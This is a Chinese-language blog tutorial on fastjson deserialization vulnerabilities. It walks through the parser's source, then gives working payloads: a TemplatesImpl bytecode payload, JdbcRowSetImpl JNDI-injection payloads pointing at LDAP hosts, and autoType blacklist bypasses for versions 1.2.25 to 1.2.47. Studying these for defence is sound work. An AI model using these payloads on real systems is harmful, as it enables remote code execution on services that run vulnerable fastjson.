fastjson
将java中的类和json相互转化的一个工具.
简单使用
javabean类转json
public class FastjsonTest {
public static void main(String[] args) {
User user = new User();
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
{"id":"yyyy-MM-dd HH:mm:ss"}
自省支持
使转化json中记录了类的类型.
public class FastjsonTest {
public static void main(String[] args) {
User user = new User();
String json = JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(json);
}
}
{"@type":"User","id":"yyyy-MM-dd HH:mm:ss"}
json转javabean类
parseObject
存在@type
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload, User.class).getClass());
}
}
无参构造
setId
setName
class User
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload).getClass());
}
}
无参构造
setId
setName
getId
getNameclass com.alibaba.fastjson.JSONObject
使用parseObject可以指定转化后的类型.同时我们可以看出未指定类型的时候,是先初始化类然后在使用get方法来获取其中的属性来创建JSONObject类的.
未存在@type
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload, User.class).getClass());
}
}
无参构造
setId
setName
class User
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parseObject(payload).getClass());
}
}
class com.alibaba.fastjson.JSONObject
不使用@type对指定类的无影响,未指定类的就不会进行初始化了.
parse
public class POC1 {
public static void main(String[] args) {
String payload="{\"id\":11,\"name\":\"ll\"}";
System.out.println(JSON.parse(payload).getClass());
}
}
class com.alibaba.fastjson.JSONObject
未指定@type就不存在实例化.
源码解析
因为parseObject只要存在@type就可以进行反序列化,后文的分析即以parseObject()为主
从调用链来看,是通过反射来实现调用类的属性和方法的.我们分析一下这些所涉及的类
JSON
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
从这里就看出parseObject方法本质底层是使用的parse,只是进行了一次转化而已.
从这里看的话,JSON是初始化了一个DefaultJSONParser,并进行了调用.
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
DefaultJSONParser
我们发现这时传递了了class,那么DefaultJSONParser其中就一定有关于对类的类型确认的逻辑.
JavaBeanDeserializer
传递了对象,即对一个类进行实例化.
DefaultFieldDeserializer
对FieldDeserializer类进行了一些配置
FieldDeserialize
Map map = (Map)method.invoke(object);
使用反射直接调用变量中的方法,
反序列化
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
TemplatesImpl
我们想要调用的方法为
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
我们发现这刚好就是一个get方法,我们查看一下是否有对应的属性
/**
* Output properties of this translet.
*/
private Properties _outputProperties;
我们发现存在下划线,你们是否可以调用,我们看看源码.由上文的源码逻辑分析来看,关于类的实例化的处理是JavaBeanDeserializer.我们直接查找下划线试试.发现是存在下划线的处理的.那么大概率是可以调用的.
for(i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
}
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADMAHAEAA0NhdAcAFgEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIQ2F0LmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQALbm90ZXBhZC5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAFkV2aWxDYXQ2NTM4ODI3MzI3MTQxMDABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAXAQAGPGluaXQ+DAAZAAgKABgAGgAhAAIAGAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
JdbcRowSetImpl
其中的setAutoCommit会执行一个lookup
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
那么我们的目标就是控制this.getDataSourceName(),显然可以通过setDataSourceName()来进行设置.
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
那么我们就可以实现jndi注入攻击了.
public class FastjsonTest {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
安全机制与bypass
1.2.25
public class POC1 {
public static void main(String[] args) {
String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\", \"t1\":{}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(JSON.parseObject(payload).getClass());
}
}
autoTypeSupport即是1.2.25新的一个配置.
安全机制
我们使用之前的playload,会发现出现报错.我们对比一下1.2.25和1.2.24的差异.
我们会发现逻辑中出现了一个新的config.checkAutoType().可以看到在解析过程中,只要key值为@type
时,就会进入checkAutoType
函数尝试获取类.我们先观察一下其中的条件分支,我们观察那些不被autoTypeSupport配置影响的逻辑.
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
他们存在的主要原因是在于fastjson想让一些基础类(还有一些白名单中的异常类)可以不受SupportAutoType
限制就可以反序列化
所以从代码的逻辑来看,一下情况都返回class
acceptHashCodes
白名单INTERNAL_WHITELIST_HASHCODES
内部白名单TypeUtils.mappings
mappings缓存deserializers.findClass
指定类typeMapping.get
默认为空JsonType
注解exceptClass
存在期望类
我们的报错具体是由这段代码引发的
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
那么很明显denyList就是黑名单了.acceptList就是一个白名单.
具体使用如下
未开启autotyesupport时,会有以下的步骤:
-
判断typename是否在黑名单中(以黑名单中的类名开头),如果是则直接拦截
-
判断typename是否在白名单中(默认为空),如果是则根据类名寻找类
可以看到是先进行了一个黑名单的过滤,再从白名单中寻找允许的类。
当开启autotypesupport时,会有以下的步骤:
-
判断typename是否在在白名单中,如果是则直接根据类名寻找类并返回
-
判断typename是否在黑名单中(以黑名单中的类名开头),如果是则直接拦截
-
TypeUtils.loadClass(typeName, this.defaultClassLoader)
: 调用这个方法去寻找类并返回
即开启autotypesupport后,只要不在黑名单即可
bypass
开启autotypesupport
1.2.25-1.2.41
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit": true
}
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}
上文我们提到过,开启autotypesupport后,假如一个类即不在黑名单也不在白名单里.会直接使用`TypeUtils.loadClass来进行一个加载.
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
问题就在于这里对[和L的处理.[和L是JNI的字段描述符,以L
开头;;
结尾代表的是java中的Object,以[
开头代表的是数组。所以在恶意类前添加L或[,那么就可以绕过对L或[的检查.加载到我们的恶意类.
未开启autotypesupport
利用mappings
缓存的绕过
在MiscCodec
中调用了TypeUtils.loadClass.
当class是一个java.lang.Class
类时,会去加载指定类.将类写入mappings
缓存
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
1.2.42
安全机制
我们发现现在是对hash进行对比.并且会去除头尾的 L
[
;
但是只是一次过滤.
bypass
开启autotypesupport
我们直接经典的双写绕过.
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
"autoCommit": true
}
1.2.43
安全机制
这个版本的fastjson判断只要以LL开头就直接抛出异常:
我们就可以使用,以[开头的来进行绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}
1.2.44
这个版本的fastjson判断只要以[
开头就抛出异常,以;
结尾也抛出异常,因此我们上述的绕过方法都失效了:
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
}
这个bypass主要是用到的一个黑名单外的类,其是mybatis包里的类,所以需要有mybatis的依赖:
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}
1.2.47
到1.2.47这个都是可以用的
{
"payload1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"payload2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
1.2.47之后的大多条件就比较复杂了,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼(找到的多为组件类,需要目标机器上有该组件才能打https://paper.seebug.org/1155/)以及expectClass绕过AutoType
参考文章
https://xz.aliyun.com/t/12096#toc-4
https://longlone.top/安全/java/java安全/组件安全/fastjson/#安全机制与bypass
https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/
标签:fastjson,payload,String,public,className,type,class From: https://www.cnblogs.com/Ho1dF0rward/p/17756745.html